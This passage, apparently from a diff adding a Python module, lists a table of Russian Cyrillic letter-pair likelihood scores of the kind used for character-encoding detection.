'ц' + 22: 1, # 'ч' + 25: 2, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 8: { # 'л' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 3, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 1, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 2, # 'х' + 28: 1, # 'ц' + 22: 3, # 'ч' + 25: 2, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 1, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 12: { # 'м' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 1, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 2, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 2, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 3, # 'я' + }, + 5: { # 'н' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 2, # 'х' + 28: 3, # 'ц' + 22: 3, # 'ч' + 25: 2, # 'ш' + 29: 2, # 'щ' + 54: 1, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 1, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 1: { # 'о' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 3, # 'и' + 23: 3, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 2, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 2, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 15: { # 'п' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 3, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 0, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 3, # 'я' + }, + 9: { # 'р' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 2, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 3, # 'ш' + 29: 2, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 2, # 'э' + 27: 2, # 'ю' + 16: 3, # 'я' + }, + 7: { # 'с' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 1, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 3, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 3, # 'ч' + 25: 2, # 'ш' + 29: 1, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 2, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 6: { # 'т' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 3, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 2, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 2, # 'ш' + 29: 2, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 2, # 'э' + 27: 2, # 'ю' + 16: 3, # 'я' + }, + 14: { # 'у' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 2, # 'и' + 23: 2, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 2, # 'э' + 27: 3, # 'ю' + 16: 2, # 'я' + }, + 39: { # 'ф' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 0, # 'в' + 19: 1, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 2, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 1, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 2, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 26: { # 'х' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 3, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 1, # 'п' + 9: 3, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 1, # 'ч' + 25: 2, # 'ш' + 29: 0, # 'щ' + 54: 1, # 'ъ' + 18: 0, # 'ы' + 17: 1, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 28: { # 'ц' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 1, # 'л' + 12: 1, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 1, # 'т' + 14: 3, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 1, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 1, # 'ь' + 30: 0, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 22: { # 'ч' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 1, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 1, # 'ч' + 25: 2, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 3, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 25: { # 'ш' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 1, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 1, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 3, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 29: { # 'щ' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 1, # 'м' + 5: 2, # 'н' + 1: 1, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 2, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 54: { # 'ъ' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 0, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 1, # 'ю' + 16: 2, # 'я' + }, + 18: { # 'ы' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 2, # 'и' + 23: 3, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 1, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 0, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 2, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 2, # 'я' + }, + 17: { # 'ь' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 3, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 0, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 2, # 'п' + 9: 1, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 0, # 'у' + 39: 2, # 'ф' + 26: 1, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 3, # 'ш' + 29: 2, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 30: { # 'э' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 1, # 'Ф' + 55: 0, # 